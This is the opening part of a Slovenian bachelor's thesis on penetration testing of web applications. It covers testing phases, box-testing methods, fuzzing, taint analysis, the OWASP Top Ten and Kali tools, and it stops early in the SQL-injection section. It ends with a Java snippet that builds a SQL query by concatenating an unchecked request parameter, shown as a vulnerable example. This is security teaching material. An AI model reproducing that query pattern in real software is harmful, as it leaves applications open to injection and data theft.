Fakulteta za raˇ cunalniˇ stvo in informatiko
Martin Prajnc
Vdorno testiranje spletnih aplikacij
DIPLOMSKO DELO
UNIVERZITETNI ˇSTUDIJSKI PROGRAM PRVE STOPNJE
RA ˇCUNALNIˇSTVO IN INFORMATIKA
Mentor : prof. dr. Denis Trˇ cek Somentor : asist. dr. David Jelenc
Ljubljana, 2021
besedilo, slike, grafi in druge sestavine dela kot tudi rezultati diplomskega dela lahko prosto distribuirajo, reproducirajo, uporabljajo, priobˇcujejo javnosti in pre- delujejo, pod pogojem, da se jasno in vidno navede avtorja in naslov tega dela in da se v primeru spremembe, preoblikovanja ali uporabe tega dela v svojem delu lahko distribuira predelava le pod licenco, ki je enaka tej. Podrobnosti licence so dostopne na spletni strani creativecommons.si ali na Inˇstitutu za intelektualno lastnino, Streliˇska 1, 1000 Ljubljana.
Izvorna koda diplomskega dela, njeni rezultati in v ta namen razvita programska oprema so ponujeni pod licenco GNU General Public License, razliˇcica 3 (ali no- vejˇsa). To pomeni, da se lahko prosto distribuirajo in/ali predelujejo pod njenimi pogoji. Podrobnosti licence so dostopne na spletni strani http://www.gnu.org/
licenses/.
Besedilo je oblikovano z urejevalnikom besedil LATEX.
Vrsta naloge: Diplomska naloga na univerzitetnem programu prve stopnje Raˇcunalniˇstvo in informatika
Mentor: prof. dr. Denis Trˇcek Somentor: asist. dr. David Jelenc Opis:
Osrednji cilj diplomskega dela naj bo predstavitev tematike vdornega oz. pe- netracijskega testiranja spletnih aplikacij. V nalogi osvetlite pomen varnosti spletnih aplikacij ter navedite in opiˇsite nekaj pogostih ranljivosti. Pojasnite naˇcine, kako se vdorno testiranje izvaja, opiˇsite faze, iz katerih sestoji, in podajte nekaj primerov programske opreme, ki se pri takem preizkusu upo- rablja. Na koncu na praktiˇcnem primeru demonstrirajte penetracijski test spletne aplikacije.
Title: Penetration testing of web applications Description:
The thesis should focus on the area of penetration testing for web applica- tions. In it, the student should highlight the importance of web application security and list and describe a few common vulnerabilities. Furthermore, the thesis ought to explain how penetration testing is performed, describe the phases involved, and list examples of software used for such testing. Fi- nally, the student should demonstrate a penetration test on an actual web application.
asist. dr. Davidu Jelencu, ki me je vodil skozi celoten proces izdelave diplom- ske naloge. Vzel si je veliko ˇcasa, da sva sproti reˇsevala teˇzave, na katere sem naletel. Imel je odliˇcen odnos do dela in ni mu bilo teˇzko pomagati ter me usmerjati. Zahvaljujem se tudi Miheli ˇSuster za lektoriranje diplomske na- loge.
Povzetek Abstract
1 Uvod 1
2 Penetracijsko testiranje 3
2.1 Pregled podroˇcja spletnih aplikacij . . . 3
2.2 Pregled podroˇcja penetracijskega testiranja . . . 5
2.2.1 Planiranje napadov . . . 6
2.2.2 Odkrivanje ranljivosti . . . 6
2.2.3 Izvedba napadov . . . 7
2.2.4 Poroˇcanje . . . 7
2.3 Naˇcini testiranja aplikacij . . . 7
2.3.1 Testiranje z metodo bele ˇskatle . . . 7
2.3.2 Testiranje z metodo sive ˇskatle . . . 8
2.3.3 Testiranje z metodo ˇcrne ˇskatle . . . 9
2.4 Skeniranje ranljivosti . . . 9
2.5 Dinamiˇcna tehnika analize pretoka podatkov (DTA) . . . 9
2.6 Preizkuˇsanje z neveljavnimi podatki (PNP) . . . 10
2.7 Pogoste ranljivosti spletnih aplikacij . . . 12
2.7.1 Vrivanje zlonamerne kode . . . 13
2.7.2 Vrivanje zlonamerne kode v skriptnem jeziku (XSS) . . 15
2.7.3 Neustrezno overjanje . . . 17
3 Kali Linux 23
3.1 Na sploˇsno o operacijskem sistemu Kali Linux . . . 23
3.1.1 Trenutna verzija in specifikacije . . . 24
3.1.2 Kratek pregled zgodovine . . . 24
3.2 Orodja za penetracijsko testiranje . . . 24
3.2.1 Reconnoitre . . . 24
3.2.2 Nmap . . . 25
3.2.3 Burp Suite . . . 26
3.2.4 Nikto . . . 27
3.2.5 Dirbuster . . . 28
3.2.6 Netcat . . . 28
3.2.7 Hashcat . . . 28
4 Primer penetracijskega preizkusa 31 4.1 Izvedba penetracijskega preizkusa . . . 31
4.2 Rezultati in ugotovitve . . . 57
5 Zakljuˇcek 61
Celotna literatura 63
kratica angleˇsko slovensko
OS Operating System operacijski sistem
SQL Structured Query Language programski jezik za upravlja- nje podatkov
ARM Advanced RISC Machines posebna arhitektura, znaˇcilna za procesorje
IP Internet Protocol protokol, ki se uporablja za dostop do naprav, povezanih na internet
TLS Transport Layer Security varnost transportne plasti HTTP Hypertext Transfer Protocol protokol za prenos informacij
na spletu
SSH Secure Shell protokol za oddaljeno upra-
vljanje raˇcunalnika URL Uniform Resource Locator enotni lokator virov
DTA Dynamic Taint Analysis dinamiˇcna tehnika analize pretoka podatkov
TCP Transmission Control Proto- col
protokol za nadzor prenosa UDP User Datagram Protocol nepovezovalni protokol za pre-
nos paketov
PNP Fuzzing preizkuˇsanje z neveljavnimi
podatki
Naslov: Vdorno testiranje spletnih aplikacij Avtor: Martin Prajnc
Dandanes veˇcina poslovanja in komunikacije poteka prek interneta. Tako je predvsem zaradi spletnih aplikacij, ki so produkt veˇc tehnik in orodij za programiranje. Te tehnike in orodja se izjemno hitro razvijajo in nadgraju- jejo, vendar z vidika varnosti to ni nujno vedno dobro. Problem je v tem, da mnoga podjetja namenijo velike koliˇcine proraˇcuna le za razvoj, zato za varnost in varnostno testiranje ne ostane veliko sredstev. Varnostni pregledi se po navadi opravijo ˇcisto na koncu, ko je produkt ˇze pripravljen na dostavo kupcu. To je sicer bolje, kot da varnostnega pregleda sploh ne bi bilo, a naj- boljˇsa praksa je, da se razvijalci zavedajo ranljivosti sistema, ki ga razvijajo, in to upoˇstevajo ˇze pri razvoju in implementaciji. S temi vidiki se ukvarja informacijska varnost. V sploˇsnem informacijska varnost pomeni varstvo in- formacijskih sistemov in podatkov pred nezakonitim dostopom, razkritjem, spremembo ali uniˇcenjem. V diplomski nalogi se bomo sicer osredotoˇcili na penetracijsko testiranje ter opis ranljivosti spletnih aplikacij in orodij, ki jih bomo uporabili za razkritje teh ranljivosti. Nato bomo na praktiˇcnem primeru spletne aplikacije izvedli penetracijski test. Na ta naˇcin bo bralcu predstavljeno penetracijsko testiranje spletnih aplikacij.
Kljuˇcne besede: informacijska varnost, vdorno testiranje, spletne aplika- cije, penetracijsko testiranje, penetracijski preizkus, vdorni preizkus.
Title: Penetration testing of web applications Author: Martin Prajnc
Today, the majority of business processess and communications take place over the Internet, thanks to web applications, which are the product of sev- eral programming techniques and tools. The aforementioned techniques and tools are extremely fast to develop and upgrade, but from the security and safety point of view this is not necessarily always good. The problem, which arises is that many companies spend large amounts of budget only on devel- opment, and not enough money is left for safety and security testing. Safety and security checks are usually done right at the end when the product is ready to be delivered to the customer. While this approach is better than not having a security check, the best practice is for developers to be aware of the vulnerabilities of the system they are developing and to take this into account when developing and implementing it. Information security deals with these aspects. In general, information security means the protection of information systems and data against unauthorized access, disclosure, alter- ation or destruction. In my diploma thesis I will focus on penetration testing and description of vulnerabilities of web applications and tools that I will use to reveal these vulnerabilities. This way the reader will be introduced to penetration testing of web applications.
Keywords: information security, penetration test, web application.
Uvod
Splet predstavlja velik del naˇsega vsakdana. Ljudje veliko ˇcasa preˇzivimo na druˇzbenih omreˇzjih, kot so Facebook, Instagram in Twitter. Tudi v sluˇzbi moramo biti veˇcino ˇcasa dosegljivi prek e-poˇste ali drugih komunikacijskih kanalov, ki so specifiˇcni za podjetje, v katerem delamo. Ljudje smo skoraj ves ˇcas svojega ˇzivljenja povezani oz. dosegljivi na spletu. ˇCe si samo na hitro zamislimo, koliko informacij se na spletu prenaˇsa vsako sekundo (v letu 2020 je vsak ˇclovek na svetu v povpreˇcju ustvaril 1.7 MB podatkov na sekundo [8]), potem hitro razumemo, v kolikˇsnem obsegu se splet ˇsiri in kako veliko podatkov se prenaˇsa.
Vendar pa je veliko teh podatkov obˇcutljivih, namenjenih le toˇcno doloˇcenim ljudem. Jasno je torej, da je treba te obˇcutljive podatke in sisteme zaˇsˇcititi, da ne bi priˇslo do nepooblaˇsˇcenega dostopa, spreminjanja ali uniˇcenja. S tem se ukvarja informacijska varnost.
Informacijska varnost je zelo ˇsirok pojem. V diplomski nalogi se bomo bolj posvetili pojmu penetracijsko testiranje oz. penetracijski test oz. penetracij- ski preizkus. Uporablja se tudi sinonim vdorno testiranje, ki je zgolj prevod prej omenjenega pojma. Tekom naloge se izraza uporabljata kot enakovre- dna, saj se je v praksi sprejela tujka penetracijsko testiranje. Penetracijski test je napad na ciljni sistem, ki se izvede za oceno varnosti.
V diplomski nalogi najprej predstavimo penetracijske teste, kaj pome- 1
nijo v sploˇsnem, kako jih delimo ter katere metode in tehnike uporabljamo pri izvajanju. V nadaljevanju opiˇsemo operacijski sistem Kali Linux, ki ga bomo uporabili kot okolje za izvajanje testa. Predstavimo znaˇcilnosti opera- cijskega sistema, arhitekturo, kratko zgodovino in orodja, ki so pogosta pri izvajanju penetracijskih testov. V tretjem poglavju sledita predstavitev in opis nekaterih kljuˇcnih ranljivosti spletnih aplikacij. V ˇcetrtem poglavju je prikazan izveden napad na spletno aplikacijo. V istem poglavju sledi poroˇcilo o rezultatih in na koncu ˇse zakljuˇcek.
Penetracijski test, znan tudi pod angleˇskim imenom “pen test”, pentest ali etiˇcno hekanje, je pooblaˇsˇceni simulirani kibernetski napad na raˇcunalniˇski sistem, ki se izvaja za oceno varnosti sistema. Preizkus se izvede za ugotavlja- nje slabosti informacijskega sistema (imenovane tudi ranljivosti), ki vkljuˇcuje moˇznost, da nepooblaˇsˇcene stranke dobijo dostop do funkcij in podatkov sis- tema, pa tudi prednosti, ki omogoˇcajo popolno oceno tveganja [16].
Penetracijsko testiranje
2.1 Pregled podroˇ cja spletnih aplikacij
Spletne aplikacije so v zadnjih letih doˇzivele razcvet, saj omogoˇcajo prepro- sto in uˇcinkovito interakcijo med podjetji in njihovimi strankami. Moˇcno poveˇcanje priljubljenosti in uporabe spletnih aplikacij pa je pritegnilo tudi pozornost napadalcev, t. i. “hekerjev”(angl. hacker), ki lahko z zlonamernim poˇcetjem podjetjem povzroˇcijo ogromno ˇskode.
Razvijalci spletnih strani so velikokrat premalo previdni in pri razvija- nju spletnih aplikacij pustijo t. i. varnostne luknje oz. ranljivosti, ki jih napadalci zlahka izkoristijo. Ranljivosti se med seboj zelo razlikujejo, od avtentikacijskih postopkov do vrivanja zlonamerne kode itd. Pri vsaki ran- ljivosti lahko med ocenjevanjem doloˇcimo naslednje faktorje, ki prispevajo k temu, da se ranljivost uporabi za napad na sistem [15]:
1. izkoristljivost ranljivosti (angl. exploitability) pove, kako zahteven postopek oz. znanje napadalca je potrebno, da se takˇsna ranljivost izkoristi;
2. razˇsirjenost ranljivosti (angl. prevalence) pove, kako pogosto se ta ranljivost nahaja v obstojeˇcih spletnih aplikacijah;
3. zaznavnost ranljivosti (angl. detectability) govori o tem, kako zah- 3
tevno je v sistemu zaznati takˇsno ranljivost.
Ti verjetnostni faktorji imajo pomembno vlogo pri oceni varnosti oziroma pri oceni tveganja, ki ga doloˇcene ranljivosti predstavljajo za ciljni sistem.
Tveganje je pogosto doloˇceno kot priˇcakovana vrednost neˇzelenega dogodka.
Formula, ki se uporablja za izraˇcun tveganja, je [18]:
R= (verjetnost dogodka)×(izguba v primeru uresniˇcitve) (2.1) Pri oceni tveganja uporabimo prej omenjene faktorje 2.1, in sicer tako, da posameznemu faktorju doloˇcimo stopnjo vpliva na lestvici med 1 in 3, pri ˇcemer je terminologija opredeljena za vsak faktor posebej. Terminologija za vsak faktor je predstavljena v tabeli 2.1.
Izkoristljivost enostavno (3) povpreˇ cno (2) teˇ zko (1) Razˇ sirjenost pogosto (3) povpreˇ cno (2) redko (1) Zaznavnost enostavno (3) povpreˇ cno (2) teˇ zko (1) Tehniˇ cni vpliv resno (3) povpreˇ cno (2) manjˇse (1)
Tabela 2.1: Tabela moˇznih vrednosti verjetnostnih faktorjev in tehniˇcnih uˇcinkov v postopku izraˇcuna tveganja
Za vsako ranljivost doloˇcimo vrednosti verjetnostnih faktorjev (izkoristlji- vost, razˇsirjenost, zaznavnost). Nato izraˇcunamo njihovo povpreˇcno vrednost in to pomnoˇzimo z uˇcinkom. Dobljeni rezultat odraˇza stopnjo tveganja, ki jo ta ranljivost prinaˇsa. S takˇsnim seznamom lahko ugotovimo, katere ran- ljivosti prinaˇsajo najveˇcja tveganja in na katere stvari moramo kot razvijalci najbolj paziti.
Same ranljivosti pa lahko odkrije (in izkoristi) le dejanski napad. Tega simuliramo v postopku penetracijskega testa.
2.2 Pregled podroˇ cja penetracijskega testira- nja
Penetracijsko testiranje je varnostni evaluacijski proces za omreˇzne ali raˇcunalniˇske sisteme, ki simulira napad etiˇcnega hekerja. Med hekerjem in penetracijskem testerjem je razlika v tem, da slednji opravi penetracijski test z namenom, da izboljˇsa varnost samega sistema. Cilj penetracijskega testa je torej osvetliti varnostne vidike. Vse varnostne informacije in ranljivosti, ki se med testi- ranjem najdejo, se obravnavajo kot zaupne. Takˇsen test se vedno izvede po naroˇcilu, katerega konˇcni rezultat je poroˇcilo o najdenih ranljivostih.
Po drugi strani pa je heker vsaka oseba, ki zaobide zaˇsˇcito in vstopi v raˇcunalniˇski sistem, ne glede na namen. Glede na namen vdora razlikujemo veˇc vrst hekerjev:
1. belehekerje (angl. white hat hackers), 2. sivehekerje (angl. gray hat hackers), 3. ˇcrnehekerje (angl. black hat hackers).
Beli heker, ki ga imenujemo tudi etiˇcni heker, poskuˇsa legalno vdreti v sis- tem z namenom preverjanja in izboljˇsanja zaˇsˇcite in varnosti sistemov. Med bele hekerje spadajo tudi osebe, ki izvajajo penetracijske teste in ocene ran- ljivosti informacijskih sistemov, ki so znotraj doloˇcil v pogodbah, sklenjenih s podjetji.
Crni hekerji so kriminalci, ki v raˇˇ cunalniˇska omreˇzja vdrejo zlonamerno.
Prav tako lahko izdajo zlonamerno programsko opremo, ki uniˇcuje datoteke, ima uporabnike raˇcunalnikov za talce ali krade gesla, ˇstevilke kreditnih kartic in druge osebne podatke.
Sivi heker je nekje vmes med ˇcrnim in belim. Je raˇcunalniˇski heker ali strokovnjak za raˇcunalniˇsko varnost, ki vˇcasih krˇsi zakone ali tipiˇcne etiˇcne standarde, vendar ne zlonamerno kot ˇcrni heker [5].
Penetracijski preizkus je simuliran napad, ki predstavlja celoto veˇc faz testiranja. Sestavljen je iz ˇstirih faz, ki so obvezne in si sledijo po vrsti.
Zaˇcne se s fazo planiranja, sledijo ji odkrivanje, napad in na koncu poroˇcanje.
Te faze so podrobno opisane v nadaljevanju, grafiˇcno pa so predstavljene na sliki 2.1.
Slika 2.1: Faze penetracijskega preizkusa; slika povzeta po [4]
2.2.1 Planiranje napadov
V tej fazi se dejansko testiranje ne izvaja. Namesto tega so opredeljeni in dokumentirani pogoji in meje za preizkus. Na primer doloˇcijo se ustrezne komponente aplikacij, ki so predmet preizkusa, ter narava oz. obseg preizku- sov, ki jih je treba izvesti, in njihova stopnja invazivnosti [4].
2.2.2 Odkrivanje ranljivosti
Ta faza je sestavljena iz veˇc korakov. Najprej se vsi dostopni zunanji vmesniki preizkuˇsanega sistema sistematiˇcno odkrivajo in naˇstevajo. Ta niz vmesni- kov predstavlja zaˇcetno povrˇsino napada sistema. Drugi del faze odkrivanja je analiza ranljivosti, v kateri so opredeljeni veljavni razredi ranljivosti, ki se ujemajo z identificiranim vmesnikom (npr. XSS napadi za storitve HTTP ali SQL Injection za aplikacije z zalednim delom baze podatkov). V komer- cialnem penetracijskem testu ta faza vkljuˇcuje tudi preverjanje, ali je katera
od najdenih komponent dovzetna za javno dokumentirane ranljivosti, ki jih vsebuje predhodno sestavljena zbirka ranljivosti [4]. Primer take zbirke je dostopen na spletni strani Exploit-DB1.
2.2.3 Izvedba napadov
Na koncu se identificirani vmesniki preizkusijo z veˇc napadi. V teh napa- dih preizkuˇsevalci aktivno poskuˇsajo kompromitirati sistem s poˇsiljanjem zlonamernih zahtevkov. V primeru uspeha se najdene varnostne ranljivosti izkoriˇsˇcajo za pridobivanje dodatnih informacij o sistemu in razˇsiritve pra- vice dostopa preizkuˇsevalca (angl. privilege escalation) in poiˇsˇce se ˇse veˇc sistemskih komponent, ki bi lahko izpostavile dodatne vmesnike [4].
2.2.4 Poroˇ canje
Faza poroˇcanja poteka istoˇcasno z drugimi tremi fazami penetracijskega testa in dokumentira vse ugotovitve skupaj z njihovo oceno resnosti [4].
2.3 Naˇ cini testiranja aplikacij
Glede na penetracijske teste loˇcimo veˇc metod, ki se razlikujejo glede na preizkuˇsevalˇcevo znanje o sistemu, ki ga obravnava. To so testiranje z metodo bele ˇskatle, testiranje z metodo sive ˇskatle in testiranje z metodo ˇcrne ˇskatle.
Grafiˇcno so metode predstavljene na sliki 2.2.
2.3.1 Testiranje z metodo bele ˇ skatle
Pri tem naˇcinu penetracijskega testiranja imajo preizkuˇsevalci vse informa- cije in podrobnosti o ciljnem sistemu, ki vsebujejo informacije o shemi in strukturi ciljnih omreˇznih sistemov. Prav tako vsebujejo izvorno kodo pro- gramov oz. aplikacij, podrobnosti o uporabljenih operacijskih sistemih, na- slove IP raˇcunalnikov v omreˇzju itd. Tovrstno testiranje se imenuje tudi
1https://www.exploit-db.com/
Slika 2.2: Tipi penetracijskega testiranja
Structural PEN test ali Open Box Pen testing. Pri tej metodi se testira z uporabo pokritosti kode, pretoka poti (angl. path flow), pretoka podatkov (angl. data testing) itd. Glavna prednost metode je, da pokrije vse neodvisne poti modula in zagotavlja stoodstotno pokritost kode za odkrivanje napak v omreˇzju [19]. Zmoˇzna je najti naˇcrtovalske napake v omreˇzju, ki se lahko pojavijo zaradi napak v logiˇcnem toku programov in med samim izvajanjem kode [19].
2.3.2 Testiranje z metodo sive ˇ skatle
Pri tem naˇcinu testiranja ima preizkuˇsevalec omejene oziroma le delne in- formacije o notranji kodni strukturi omreˇzja, ki bo ciljno za sistem. Pred- postavlja se, da gre za nekakˇsen napad zunanjega uporabnika, ki je pridobil nepooblaˇsˇcen omejen dostop do omreˇzne infrastrukture ciljne organizacije.
Njegova glavna prednost je, da ne potrebuje dostopa do izvorne kode, kot da bi priˇsel brez povabila in nepristransko. Potegne tudi jasno mejo med vlogama razvijalca in preizkuˇsevalca in tako omogoˇca najmanjˇse tveganje, ki bi med njima lahko povzroˇcilo osebni spor. Poleg tega je treba navesti
podrobnosti o notranjih strukturnih informacijah o programu ali omreˇzju, ki ga je treba preizkusiti.
2.3.3 Testiranje z metodo ˇ crne ˇ skatle
Pri tem naˇcinu penetracijskega testiranja preizkuˇsevalec nima nobenih in- formacij o ciljnem sistemu, ki ga testira. Namesto podrobnosti o notranji zgradbi sistema je predvsem poudarjeno zbiranje informacij o ciljnem sis- temu. Preizkuˇsevalec pozna priˇcakovan izid, vendar ne pozna moˇznih izidov.
Ne obremenjuje se z notranjo strukturo omreˇznih virov. Glavna prednost tega naˇcina testiranja je, da ne zahteva nobene posebne tehniˇcne usposoblje- nosti oziroma tehniˇcnega znanja preizkuˇsevalca.
2.4 Skeniranje ranljivosti
Na sploˇsno so penetracijski testi kombinacija roˇcnega testiranja strokovnja- kov za varnost in orodij za avtomatsko testiranje (angl. black box vulnerabi- lity scanners). To so orodja, ki jih je mogoˇce uporabiti za prepoznavanje var- nostnih pomanjkljivosti oz. ranljivosti v aplikacijah z razliˇcnimi tehnikami.
Orodja za avtomatiˇcno preiskovanje ranljivosti (angl. scanners) poˇsiljajo poizvedbe vmesnikom aplikacije z naborom vnaprej doloˇcenih napadov in potem, ˇce je napad uspeˇsen, analizirajo odzive aplikacije na indikatorje, v nasprotnem primeru pa namignejo, kako spremeniti napad v naslednjih po- skusih [4]. Iskanje ranljivosti je zelo pomemben del penetracijskega preizkusa in sodi v fazo odkrivanja.
2.5 Dinamiˇ cna tehnika analize pretoka podat- kov (DTA)
Pomembna razliˇcica testiranja z metodo ˇcrne ˇskatle je analitiˇcna tehnika, ki se imenuje tehnika analize pretoka podatkov (angl. taint analysis). Znaten
del danaˇsnjih varnostnih ranljivosti predstavlja vrivanje zlonamernih nizov kode (angl. string-based code injection vulnerabilities), ki omogoˇci, da na- padalec vrine kodo v dinamiˇcno izvajajoˇce programske stavke, kar v veˇcini primerov vodi do popolnega kompromitiranja ranljivega izvajajoˇcega konte- ksta. Primera za omenjene ranljivosti sta vrivanje kode SQL (angl. SQL injection) in vrivanje zlonamerne kode v skriptnem jeziku (angl. Cross-Site Scripting). Takˇsne ranljivosti vrivanja kode lahko obravnavamo kot teˇzave s pretokom informacij, pri katerih je treba najti nepreverjene podatkovne poti od nepreverjenih virov do varnostno obˇcutljivih ponorov. Da bi to dosegli, je dobro uveljavljen pristop (dinamiˇcnega) omadeˇzevanja podatkov (angl.
(dynamic) data tainting). Nepreverjeni podatki so opremljeni z madeˇznimi (zlonamernimi) informacijami ob zaˇcetku izvajanja, ki se poˇcistijo le, ˇce po- datki izpolnijo namensko funkcijo dezinfekcije. ˇCe podatki, ki ˇse vedno nosijo madeˇzne (zlonamerne) informacije, doseˇzejo varnostno obˇcutljivo toˇcko (npr.
API, ki pretvori niz v izvedljivo kodo), lahko aplikacija ustrezno reagira, na primer s samodejno razˇclenitvijo podatkov, ali popolnoma zaustavi posto- pek. ˇCe se sledenje poˇskodbam uporablja pri varnostnem preizkuˇsanju, je glavni namen preizkuˇsevalca obvestiti, da obstajajo nevarni pretoki podat- kov, ki bi potencialno povzroˇcili vrivanje kode. Drugaˇce kot statiˇcna analiza, ki je usmerjena tudi v prepoznavanje problematiˇcnih podatkovnih tokov, je dinamiˇcna analiza izvedena transparentno, medtem ko se izvaja preizkuˇsena aplikacija [4].
2.6 Preizkuˇ sanje z neveljavnimi podatki (PNP)
Preizkuˇsanje z neveljavnimi podatki (angl. fuzzing, fuzz) je dinamiˇcna teh- nika testiranja, ki temelji na podajanju nakljuˇcnih (neveljavnih) podatkov programu, “dokler se ne sesuje”. V poznih osemdesetih letih je bil zaˇcetnik te tehnike Barton Miller na univerzi v Wisconsinu. Od takrat se je izkazala kot uˇcinkovita tehnika za iskanje ranljivosti v programski opremi. Medtem ko so prvi postopki tovrstnega testiranja temeljili zgolj na nakljuˇcno gene-
riranih testnih podatkih (PNP z nakljuˇcnimi podatki), pa so napredek pri simboliˇcnih izraˇcunih, testiranje na podlagi modelov in dinamiˇcno generira- nje testnih primerov privedli do naprednejˇsih tehnik, PNP na osnovi mutacij, PNP na osnovi modela za generiranje podatkov (angl. generation-based fuz- zing) ali PNP z metodo sive ˇskatle (angl. gray-box fuzzing) [4].
PNP z uporabo nakljuˇcnih podatkov (angl. random fuzzing) je najpre- prostejˇsa in najstarejˇsa tehnika testiranja, kjer se tok nakljuˇcnih vhodnih podatkov v scenariju testiranja s ˇcrno ˇskatlo poˇslje v preizkuˇsevani program.
Vhodni podatki se lahko poˇsljejo z ukazne vrstice, dogodkov ali protokolnih paketov. Ta tehnika je uporabna za testiranje, kako se program odzove na veliko koliˇcino podatkov ali pa na nepravilne podatke. Z njo lahko najdemo ˇstevilne ranljivosti [4].
PNP na osnovi mutacij je tehnika, kjer ima izvajalec testa vsaj nekaj znanja o formatu vhodnih podatkov preizkuˇsevanega programa. Na podlagi obstojeˇcih vzorcev podatkov so orodja za PNP na osnovi mutacij ustvarila nove razliˇcice (mutante), ki temeljijo na hevristiki, ki se uporablja za te- stiranje. Za razliˇcne domene je na voljo ˇsirok nabor mutacijskih pristopov testiranja [4].
PNP na osnovi modela za generiranje podatkov uporablja model (vhodnih podatkov ali ranljivosti) za generiranje testnih podatkov iz tega modela ali specifikacije. V primerjavi s PNP z uporabo nakljuˇcnih podatkov obiˇcajno doseˇze veˇcjo pokritost preizkuˇsevanega programa, zlasti ˇce je priˇcakovana vhodna oblika precej zapletena [4].
Napredni PNP (angl. advanced fuzzing) uporablja kombinacijo prej ome- njenih tehnik. To spremeni PNP v tehniko testiranja z metodo sive ˇskatle, ki uporablja simboliˇcne izraˇcune, ki se obiˇcajno razumejo kot tehnika, ki se uporablja za statiˇcno analizo programa. Prva in tudi najuspeˇsnejˇsa apli- kacija PNP z metodo sive ˇskatle je Microsoftov SAGE, ki zdruˇzuje sim- boliˇcno izvedbo (statiˇcna izvorna koda, analitiˇcna tehnika) in dinamiˇcno pre- izkuˇsanje [4].
2.7 Pogoste ranljivosti spletnih aplikacij
Spletne aplikacije, ki so prosto dostopne, so osrˇcje spleta, prav zato pa so postale tudi velike tarˇce hekerjev. Razlogov za to je veˇc: hiter in preprost dostop, vsebnost ogromne koliˇcine podatkov, tudi obˇcutljivih (ti so hekerjem posebej zanimivi), slaba zavarovanost, saj je varnost po navadi na zadnjem mestu, prosto dostopna orodja, ki omogoˇcajo preprosto odkritje ranljivo- sti, itd. Potemtakem je jasno, da je poveˇcanje varnosti spletnih aplikacij kljuˇcnega pomena. Tukaj pridejo v poˇstev penetracijski preizkuˇsevalci.
Delo penetracijskega preizkuˇsevalca spletnih aplikacij temelji na odkri- vanju in izkoriˇsˇcanju ranljivosti. Ranljivost je napaka oz. pomanjkljivost, ki napadalcu omogoˇca, da zmanjˇsa informacijsko garancijo sistema. Ocena ranljivosti je metoda, ki preizkuˇsa varnost interaktivnih spletnih aplikacij, kot so e-banˇcniˇstvo in e-poslovanje [12]. Ranljivosti spletnih aplikacij, ki so navedene v tej diplomski nalogi, so deloma povzete po dokumentu OWASP Top Ten [15], ki umesti in opiˇse 10 najpogostejˇsih ranljivosti, ki jih najdemo v modernih spletnih aplikacijah.
OWASP (Open Web Application Security Project) je neprofitna organi- zacija, katere glavna naloga je izboljˇsati varnost programske opreme. Izvaja ogromno projektov, ima na tisoˇce ˇclanov in organizira vodilne izobraˇzevalne konference, kar jo postavlja na vrh organizacij, ki pripomorejo k zavarova- nju spleta. Eden od njihovih najveˇcjih projektov je ˇze omenjeni dokument OWASP Top Ten [15]. Ranljivosti, opisane v tem dokumentu, so [15]:
1. vrivanje zlonamerne kode (angl. injection),
2. neustrezno overjanje (angl. broken authentication),
3. izpostavljenost obˇcutljivih podatkov (angl. sensitive data exposure), 4. zunanje entitete XML – XXE (angl. XML external entities – XXE), 5. neustrezen nadzor dostopa (angl. broken access control),
6. nepravilne varnostne nastavitve (angl. security misconfiguration),
7. vrivanje zlonamerne kode v skriptnem jeziku (angl. cross-site scripting – XSS),
8. nezanesljiva deserializacija (angl. insecure deseralization),
9. uporaba komponent z znanimi ranljivostmi (angl. using components with known vulnerabilities),
10. nezadostna beleˇzenje in nadzor (angl. insufficient logging & monito- ring).
V nadaljevanju so predstavljene nekatere izmed naˇstetih.
2.7.1 Vrivanje zlonamerne kode
Spletne aplikacije, ki obdelujejo kakrˇsne koli podatke, so po navadi povezane s streˇzniki, na katerih so podatki shranjeni v podatkovnih bazah. Aplikacije komunicirajo s temi streˇzniki, tako da poˇsljejo zahteve oz. poizvedbe, kot re- zultat pa dobijo podatke, ki so potem obdelani in predstavljeni v brskalniku.
Napad z vrivanjem zlonamerne kode se lahko zgodi, ko vnosni podatki na strani uporabnika niso pravilno filtrirani, preden se poˇsljejo do podatkovne baze [12]. Analiza ranljivosti je predstavljena v tabeli 2.2
Kdaj je aplikacija ranljiva?
Veliko je indikatorjev, ki kaˇzejo, da je aplikacija ranljiva:
• podatki, ki jih aplikacija pridobi od uporabnika, niso preverjeni, filtri- rani, ali oˇciˇsˇceni;
• v tolmaˇcu (angl. interpreter) so neposredno uporabljene dinamiˇcne poi-
zvedbe ali neparametrizirani klici brez odstranjevanja doloˇcenih/nedovoljenih/nevarnih elementov;
Vektorji napada Varnostna ˇsibkost/luknja Uˇcinek Izkoristljivost: 3 Razˇsirjenost: 2 Zaznavnost: 3 Tehniˇcen: 3
Skoraj vsak izvor podatkov predstavlja vektor vrivanja kode;
okoljske spremenljivke, parametri, spletne storitve, ki so lahko zunanje ali notranje, in vsi tipi uporabnikov. Pomanjkljivosti, ki omogoˇcajo vrivanje zlonamerne kode, se pojavijo takrat, ko lahko uporabnik tolmaˇcu (angl. interpreter) posreduje zlonamerne podatke.
Vrivanje zlonamerne kode je zelo razˇsirjeno, ˇse posebej pri starejˇsih sistemih. Ranljivosti vrivanja so pogosto najdene v poizvedbah SQL, LDAP, XPath, NoSQL, ukazih v operacijskih sistemih, glavah SMTP in poizvedbah ORM.
Ranljivosti vrivanja kode je preprosto najti pri pregledu izvorne kode, napadalcu pa pri tem pomagajo orodja, ki lahko generirajo ogromno prometa in potem primerjajo zahteve, ki so rezultat poizvedb.
Vrivanje zlonamerne kode ima lahko za podjetje oziroma organizacijo razliˇcne uˇcinke.
To je odvisno od tega, kako je podjetje odvisno od aplikacije in podatkov.
Izkoriˇsˇcenje ranljivosti lahko povzroˇci izgubo ali
razkritje podatkov
nepooblaˇsˇcenim uporabnikom.
Tabela 2.2: Analiza ranljivosti vrivanja zlonamerne kode
• nevarni podatki so uporabljeni pri iskalnih parametrih ORM, da pri- dobijo dodatne podatke, ki so lahko obˇcutljivi;
• nevarni podatki se uporabijo tako, da so ali samostojni ali pa se zdruˇzijo z obstojeˇcimi, tako da poizvedba SQL vsebuje tako strukturo kot tudi nevarne podatke v dinamiˇcnih poizvedbah, ukazih ali shranjenih pro- cedurah.
Za odkritje ranljivosti aplikacije za vrivanje kode je najboljˇsa metoda pre- gled izvorne kode, zelo uporabna pa je tudi uporaba avtomatiziranih orodij, kjer se preverjajo vsi parametri, glave zahtev, URL, piˇskotki itd.
Primeri napadov
Scenarij 1: Aplikacija uporablja nepreverjene podatke v naslednji poizvedbi SQL:
1 S t r i n g p o i z v e d b a = " S E L E C T * F R O M u p o r a b n i k i W H E R E
2 u p o r a b n i k _ i d = ’ " + r e q u e s t . g e t P a r a m e t e r (" id ") + " ’ ";
